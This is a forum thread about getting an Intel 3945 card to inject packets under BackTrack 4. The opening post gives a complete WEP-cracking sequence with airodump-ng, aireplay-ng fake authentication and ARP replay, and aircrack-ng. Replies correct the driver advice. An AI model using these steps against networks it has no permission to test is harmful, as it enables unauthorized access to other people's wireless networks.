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Thread: HOW TO: iwl3945 BackTrack 4

  1. #1
    Just burned his ISO
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    Smile HOW TO: iwl3945 BackTrack 4

    Right, I spent ages trying to get this to work, following various tutorials and I eventually managed to get it working... Very well in fact, 64 bit wep in <2mins.

    The most important part ends after "ifconfig wifi0 up" because at that point your iwl3945 is ready to inject, after that its a fake auth WEP attack, but it should work nonetheless.

    1. type iwconfig, it should show you eth0, eth1 and wlan0

    2. airodump-ng wlan0 and note down the BSSID(MAC) and channel of the AP you want to attack, then ctrl+c to quit it.

    3. Configure your card to use ipwraw:

    Install:
    wget hxxp://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2
    tar -xjf ipwraw-ng-2.3.4-04022008.tar.bz2
    cd ipwraw-ng*
    make
    make install_ucode
    make install


    Use:
    modprobe -r iwl3945
    modprobe ipwraw


    Configure:

    ifconfig wifi0 down

    We need to edit a few files, i find nano to be the easiest editor, ctrl+o saves a file, and ctrl+x exits.

    Change the below file to the AP BSSID
    nano /sys/class/net/wifi0/device/bssid

    Change the below file to the AP's Channel
    nano /sys/class/net/wifi0/device/channel

    Change the value from 108 to 2
    nano /sys/class/net/wifi0/device/rate

    ifconfig wifi0 up

    Right, thats your card set for injection! It actually works!

    To crack a wep key using the fake auth method:

    airodump-ng -w output.cap rtap0
    leave it running and in a new window...

    aireplay-ng -1 0 -a APMAChere wifi0
    it should try and associate with the access point, you are looking for association successful. in a new window...

    aireplay-ng -3 -b APMAChere wifi0
    it should start injecting the AP, you are looking for the arp count to rise!
    in a new window...

    aircrack-ng output*.cap
    Select your network from the list... you are looking for key found! you might need to try again as the IV count goes up (hopefully quickly).

    This is how I made it work, if anyone knows a quicker/easier way then go for it, none that I found worked for me. This is a mix of a few!
    Hope this saves someone some time of encourages them to give it another go.

  2. #2
    Just burned his ISO
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    Could this work for 4965agn maybe ?

  3. #3
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    The drivers included with backtrack 4 are the most up to date and functional available for the 3945. I'm not sure why you would go through all of that trouble to use outdated drivers.

    All that is needed is a simple
    Code:
    airmon-ng start wifi0

  4. #4
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    ipwraw is outdated. The iwl3945 driver has much better support for injection already built into the driver since kernel 2.6.27. All that is needed is
    Code:
    # airmon-ng start wlan0
    This creates the monitor interface mon0. I would stay away from ipwraw and stick with iwl3945.

  5. #5
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    Yes I would have to agree, shortly after writing this I found that out for myself... there really is so much info out there on how to get this card to work that is complete rubbish, and what I wrote was a mix of about 4 tutorials. I can't believe I spent hours on this! Anyhoo...

    airmon-ng start wlan0
    starts mon0 as a monitor interface...

    airodump runs on the mon 0 interface, aireplay runs on the wlan0 interface.

    One thing that my tutorial may help with is people wissing to use wesside-ng. It doesn't seem like the BT4 built in drivers but runs fine using ipwraw.

    Apart form that one saving grace, my efforts were incredibly stupid.... I blame google!

  6. #6
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    Vendor: Intel Corporation
    Description: PRO/Wireless 3945ABG [Golan] Network Connection
    Module: iwl3945

    Working fine, without modifications.

    airmon-ng start wlan0

    Interface Chipset Driver

    wlan0 Intel 3945ABG iwl3945 - [phy0]
    (monitor mode enabled on mon0)

    dmesg | grep firmware

    iwl3945 0000:02:00.0: firmware: requesting iwlwifi-3945-2.ucode
    iwl3945 loaded firmware version 15.28.2.8

  7. #7
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    Hi...

    After the make command i get an error, and i wont be able to compile this drivers......

    iwl3945 does not support packet injection... am i wrong?

    I am trying this from a live usb system

  8. #8

    Default

    read the posts before yours. bt4 already comes with the latest top of the line drivers for the intel 3945abg. this whole tutorial (though could be usefull) is unnecessary in bt4. to start ur 3945abg in monitor mode just type

    airmon-ng start wlan0
    Until they become conscious they will never rebel, and until after they have rebelled they cannot become conscious...

  9. #9
    Just burned his ISO
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    But i am unable to inject any packets at all still......

    Is there any useful guide for wep cracking with backtrack 4 and this wifi card specifically?

    Im a bit new, and have really limited knowedgement regarding the aircrack suite.....

    Thnaks!!!

  10. #10

    Default

    Quote Originally Posted by GrayFox.i0n View Post
    But i am unable to inject any packets at all still......

    Is there any useful guide for wep cracking with backtrack 4 and this wifi card specifically?

    Im a bit new, and have really limited knowedgement regarding the aircrack suite.....

    Thnaks!!!
    http://img37.imageshack.us/img37/8686/bakay.jpg

    did you even try?! honestly.
    Until they become conscious they will never rebel, and until after they have rebelled they cannot become conscious...

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